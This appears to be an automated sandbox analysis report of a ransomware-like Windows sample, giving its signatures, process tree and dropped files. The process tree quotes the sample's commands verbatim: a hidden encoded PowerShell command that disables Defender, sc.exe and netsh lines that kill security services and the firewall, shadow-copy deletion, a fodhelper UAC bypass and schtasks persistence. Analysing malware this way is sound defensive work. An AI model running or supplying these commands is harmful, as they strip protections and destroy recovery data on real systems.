Analysis

  • max time kernel
    150s
  • max time network
    165s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/05/2026, 04:39

General

  • Target
    lokate.io_hyber.exe
  • Size 51KB
  • Sample260510-e91zhaby7j
  • SHA256 724932ab55b5ca83eb958ebe3415ae452e2dc40d5420b34f465b94e5c8e2bdf0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3864
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2204
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3552
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2160
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1300
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:576
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4668
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4840
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:392
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2248
      • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe"
        3⤵
          PID:352
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1660
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2872
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2452
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2364
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1160
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:240
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2540
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4608
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3376
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3552
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:4668
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4408
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4268
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2012
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2300
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1316
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:392
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:3512
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:928
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1340
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1160
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:2404
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe"
                  2⤵
                    PID:1500
                  • C:\Windows\System32\vssadmin.exe
                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:3736
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1180
                  • C:\Windows\System32\net.exe
                    "C:\Windows\System32\net.exe" stop srservice
                    2⤵
                      PID:1048
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop srservice
                        3⤵
                          PID:1584
                      • C:\Windows\System32\netsh.exe
                        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                        2⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:4012
                      • C:\Windows\System32\sc.exe
                        "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3304
                      • C:\Windows\System32\sc.exe
                        "C:\Windows\System32\sc.exe" stop i8042prt
                        2⤵
                        • Launches sc.exe
                        PID:720
                    • C:\Windows\system32\LogonUI.exe
                      "LogonUI.exe" /flags:0x0 /state0:0xa3a18855 /state1:0x41c64e6d
                      1⤵
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:4636
                    • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                      C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                      1⤵
                        PID:476
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1168

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 69KB
                            • SHA256 db42a693b58753b19f90d7a03f84d098a706e7206e5d81810912943b26675e48
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 68KB
                            • SHA256 8712c49be4eecb257433cf91e87ed31b34d5cfad51ae2b518a0410465ee934cb
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            lokate.io_hyber.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lokate.io_hyber.exe.log
                            • Size 660B
                            • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                            • MD5 SHA1 SHA512 TLSH

                            __PSScriptPolicyTest_koxsk4gk.v2m.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_koxsk4gk.v2m.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 240B
                            • SHA256 f98224b7647d4539dc20191ad6034672885419a215a7687f38338667f906835b
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 241B
                            • SHA256 f7713b36cd0d8a7e320797b8ce7479749ce6add647473caf5d5707b46b5bcc8e
                            • MD5 SHA1 SHA512 TLSH

                            sysupdate.exe

                            • Path C:\Windows\System32\sysupdate.exe
                            • Size 51KB
                            • SHA256 724932ab55b5ca83eb958ebe3415ae452e2dc40d5420b34f465b94e5c8e2bdf0
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/1072-2277-0x000000001C890000-0x000000001C8A2000-memory.dmp

                            memory/1072-0-0x00000000001E0000-0x00000000001F4000-memory.dmp

                            memory/1072-2245-0x000000001AFA0000-0x000000001AFA9000-memory.dmp

                            memory/1072-3-0x000000001DA30000-0x000000001DF58000-memory.dmp

                            memory/1072-2247-0x000000001AFB0000-0x000000001AFC0000-memory.dmp

                            memory/1072-2244-0x00000000023D0000-0x00000000023DC000-memory.dmp

                            memory/1072-2-0x000000001D760000-0x000000001D922000-memory.dmp

                            memory/1072-1-0x000000001AFB0000-0x000000001AFC0000-memory.dmp

                            memory/1500-2259-0x000002B2E9C30000-0x000002B2E9C31000-memory.dmp

                            memory/1660-2145-0x00000214BAA60000-0x00000214BAA6C000-memory.dmp

                            memory/2404-2257-0x0000021E628E0000-0x0000021E628EC000-memory.dmp

                            memory/3864-23-0x00000263E3A20000-0x00000263E3A2A000-memory.dmp

                            memory/3864-2148-0x00000263CB1A0000-0x00000263CB1AC000-memory.dmp

                            memory/3864-2149-0x00000263CB810000-0x00000263CB822000-memory.dmp

                            memory/3864-1559-0x00000263E3EC0000-0x00000263E3ECA000-memory.dmp

                            memory/3864-1511-0x00000263E3EB0000-0x00000263E3EB6000-memory.dmp

                            memory/3864-1487-0x00000263E3E80000-0x00000263E3E88000-memory.dmp

                            memory/3864-976-0x00000263E3ED0000-0x00000263E3EEA000-memory.dmp

                            memory/3864-673-0x00000263E3E70000-0x00000263E3E7A000-memory.dmp

                            memory/3864-70-0x00000263E3E90000-0x00000263E3EAC000-memory.dmp

                            memory/3864-22-0x00000263E3C60000-0x00000263E3D13000-memory.dmp

                            memory/3864-21-0x00000263E3C40000-0x00000263E3C5C000-memory.dmp

                            memory/3864-13-0x00000263E3890000-0x00000263E38B2000-memory.dmp

                            memory/4636-2246-0x0000021CAA210000-0x0000021CAA219000-memory.dmp